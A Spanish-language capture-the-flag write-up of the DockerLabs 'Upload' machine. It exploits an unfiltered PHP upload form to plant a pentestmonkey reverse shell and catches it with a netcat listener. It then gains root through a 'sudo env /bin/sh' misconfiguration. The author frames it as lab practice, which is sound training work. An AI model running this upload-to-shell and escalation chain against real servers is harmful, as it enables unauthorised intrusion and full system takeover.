WriteUps Upload

22 May 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:

BASH
1
sudo bash auto_deploy.sh upload.tar

Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:

BASH
1
nmap 172.17.0.2

El resultado del escaneo de puertos fue:

BASH
1
2
3
4
5
6
7
8
9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 09:49 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

Resultado clave: El escaneo de puertos reveló un servicio importante:

  • Puerto 80: Servicio HTTP abierto.

Análisis del servicio#

Al visitar la dirección IP de la máquina desde el navegador, encontré un formulario para cargar archivos, lo cual tiene lógica con el nombre de la máquina “Upload”. Para asegurarme de no pasar por alto ninguna información relevante, inspeccioné el código fuente de la página, pero no encontré nada fuera de lo común.

Explotación de formulario#

Noté que no existía un filtrado de la extensión del archivo a cargar, lo que permitía cargar cualquier archivo sin importar la extensión. Decidí cargar un archivo PHP de pentestmonkey para obtener una reverse shell. Pentestmonkey es una herramienta útil durante pruebas de seguridad en las que se tiene acceso para subir archivos a un servidor web con PHP, permitiendo establecer una conexión desde el servidor hacia una dirección y puerto especificados.

Subí el archivo PHP modificado, pero necesitaba conocer el directorio donde se almacenaban los archivos cargados. Utilicé dirbuster para realizar una enumeración y encontré que el directorio se llamaba uploads.

Ingresando desde el navegador a la dirección http://172.17.0.2/uploads/pentestmonkey.php, logre obtener una reverse shell, poniéndome previamente a la escucha con netcat usando el comando:

BASH
1
nc -lnvp 4444

UploadNCdockerlabs.png

Con esto, logre acceder a la máquina con el usuario www-data. El siguiente paso era elevar privilegios o pivotear a otro usuario.

Escalada de privilegios#

Para conocer los usuarios que se encontraban en el sistema, utilicé el comando compgen -u, pero me di cuenta de que no existía otro usuario. Por lo tanto, procedí directamente a escalar privilegios con el usuario www-data.

Ejecuté el comando sudo -l para ver qué permisos tenía el usuario y obtuve el siguiente resultado:

BASH
1
2
3
4
5
6
www-data@8792622e94b1:/$ sudo -l
Matching Defaults entries for www-data on 8792622e94b1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User www-data may run the following commands on 8792622e94b1:
    (root) NOPASSWD: /usr/bin/env

Procedí a consultar GTFOBinspara ver cómo elevar privilegios utilizando env con sudo. Según la información de GTFOBins, si ejecutaba el siguiente comando, lograría obtener acceso como root:

BASH
1
sudo env /bin/sh

pwnedCTFdockerlabsUpload.png

Aprendizaje#

La máquina Upload me permitió practicar técnicas de reconocimiento y explotación, especialmente aprovechando vulnerabilidades de formularios de carga sin filtros adecuados. Además, la escalada de privilegios a través de permisos mal configurados en el comando env subraya la importancia de aplicar correctamente los principios de mínimo privilegio y seguridad.

Comandos#

  1. Despliegue de la máquina:
    BASH
    1
    sudo bash auto_deploy.sh upload.tar
    
  2. Escaneo de puertos:
    BASH
    1
    nmap 172.17.0.2
    
  3. Enumeración de directorios con dirbuster:
    BASH
    1
    dirbuster
    
  4. Escucha con netcat:
    BASH
    1
    nc -lnvp 4444
    
  5. Escalada de privilegios con env:
    BASH
    1
    sudo env /bin/sh